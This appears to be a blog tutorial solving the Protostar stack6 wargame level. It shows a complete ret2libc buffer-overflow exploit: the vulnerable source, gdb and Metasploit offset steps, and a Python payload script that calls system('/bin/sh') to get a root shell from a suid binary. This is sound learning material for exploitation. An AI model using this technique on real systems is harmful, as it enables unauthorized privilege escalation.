Buffer Overflow Examples, Bypassing non-executable stack by re2libc - protostar stack6
Buffer Overflow Examples, Bypassing non-executable stack by re2libc - protostar stack6
Introduction
Hey guys , In the last post about buffer overflow we exploited a buffer overflow vulnerability where we were able to inject a shellcode and escalate privileges to root. But that was possible because we were able to overwrite the return address to another address on the stack where we placed our shellcode , but what if the stack is non-executable ? we will perform an attack called ret2libc and that’s what we are going to discuss today with protostar - stack6. Without wasting more time let’s jump right in !
Read the previous posts if you haven’t yet.
./stack6
As always we are given the source code of the binary :
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
What this code is doing is just printing input path please:
then it stores our input in a buffer of 64 chars and finally it prints it out:
Our problem is this if
statement :
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
This is making sure that the return address is not on the stack , which makes it not possible to perform a shellcode injection like we did in the previous example. We can defeat this by a technique called ret2libc.
ret2libc
So what is “ret2libc” ? If we take the word itself : “ret” is return , “2” means to and “libc” is the C library. The idea behind ret2libc is instead of injecting shellcode and jumping to the address that holds that shellcode we can use the functions that are already in the C library. For example we can call the function system()
and make it execute /bin/sh
. (Read about system()
here). We will also need to use the function exit()
to make the program exit cleanly. (Read about exit()
here).
So finally our attack payload will be : “padding –> address of system()
–> address of exit()
–> /bin/sh
” instead of : “padding –> new return address –> NOP –> shellcode”.
Now let’s see how will we do it.
Exploiation
Again , this will execute /bin/sh
as root because this binary is an suid
binary. If it wasn’t suid
we would get a shell as the same user. We can check by using find
:
find /opt/protostar/bin/ -perm -4000 | grep stack6
As you can see stack6
is an suid
binary.
So first of all , after we call system()
we will need to give it /bin/sh
, how will we do that ? A nice way to do it is to store /bin/sh
in an environment variable. I created a variable and called it SHELL
:
Now we need to find the address of that variable , we can do it from gdb
by setting a breakpoint at main , then running the program and doing this : x/s *((char **)environ+x)
where x
is a number , This will print the address of an environment variable. We will keep trying numbers until we get the address of SHELL
But I found a better way to do it when I was reading an article on shellblade. We will use a c
program to tell us the estimated address.
Code :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char *ptr = getenv("SHELL");
if (ptr != NULL)
{
printf("Estimated address: %p\n", ptr);
return 0;
}
}
Then we will compile it : gcc address.c -o address
:
As you can see it’s telling us the address of the environment variable SHELL
. Now keep in mind that this is not the “exact” address and we will need to go up and down to get the right address.
Let’s start by finding the offset. As we did before we will use pattern_create.rb
and pattern_offset.rb
from metasploit exploitation tools.
./pattern_create.rb -l 100
We have our pattern now let’s run the program in gdb and set a breakpoint before main break *main
. Then we will type c
to continue and paste the pattern. The buffer will overflow and we will see exactly where did the overflow happen :
We got the address 0x37634136
, now let’s go back and use pattern_offset.rb
:
./pattern_offset.rb -q 0x37634136
So after 80 chars the buffer overflows. Next thing to check is the addresses of system()
and exit()
. From gdb we will set a break point at main and type r
to run the program. After it reaches the break point and breaks we can get the address of system by typing p system
and we will do the same thing for exit p exit
:
Address of system : 0xb7ecffb0
Address of exit : 0xb7ec60c0
Lastly we will check the address of SHELL
again because it’s subject to change :
Address : 0xbffff985
Let’s check our notes :
Ok , we are ready to write our exploit , we will use struct import struct
like we did before. We will create a variable for the chars we will use to fill the buffer and call it buffer
, its value will be 80 A’s.
buffer = "A" * 80
Then we will create 3 variables to hold the addresses of system()
, exit()
and SHELL
. We will use struct to reverse the addresses.
system = struct.pack("I" ,0xb7ecffb0)
exit = struct.pack("I" ,0xb7ec60c0)
shell = struct.pack("I" ,0xbffff985)
And finally we will print the payload.
print buffer + system + exit + shell
Final script :
import struct
buffer = "A" * 80
system = struct.pack("I" ,0xb7ecffb0)
exit = struct.pack("I" ,0xb7ec60c0)
shell = struct.pack("I" ,0xbffff985)
print buffer + system + exit + shell
We have to remember that the address of SHELL
is not the exact address and we will need to go up or down for a little bit. We will execute the script and redirect the output to a file and name it payload. python /tmp/stack6.py > /tmp/payload
, Then we will cat the file and pipe the output to ./stack6
:
And no shell , After going up and down by editing the address in the python script I finally got the right address which is 0xbffff992
:
python /tmp/stack6.py > /tmp/payload
cat /tmp/payload - | ./stack6
root shell!
So after editing the address of shell
variable , the script will be like this :
import struct
buffer = "A" * 80
system = struct.pack("I" ,0xb7ecffb0)
exit = struct.pack("I" ,0xb7ec60c0)
shell = struct.pack("I" ,0xbffff992)
print buffer + system + exit + shell
That’s it , Feedback is appreciated !
Don’t forget to read the previous articles , Tweet about the article if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Binary Exploitation article : Buffer Overflow Examples, Code execution by shellcode injection - protostar stack5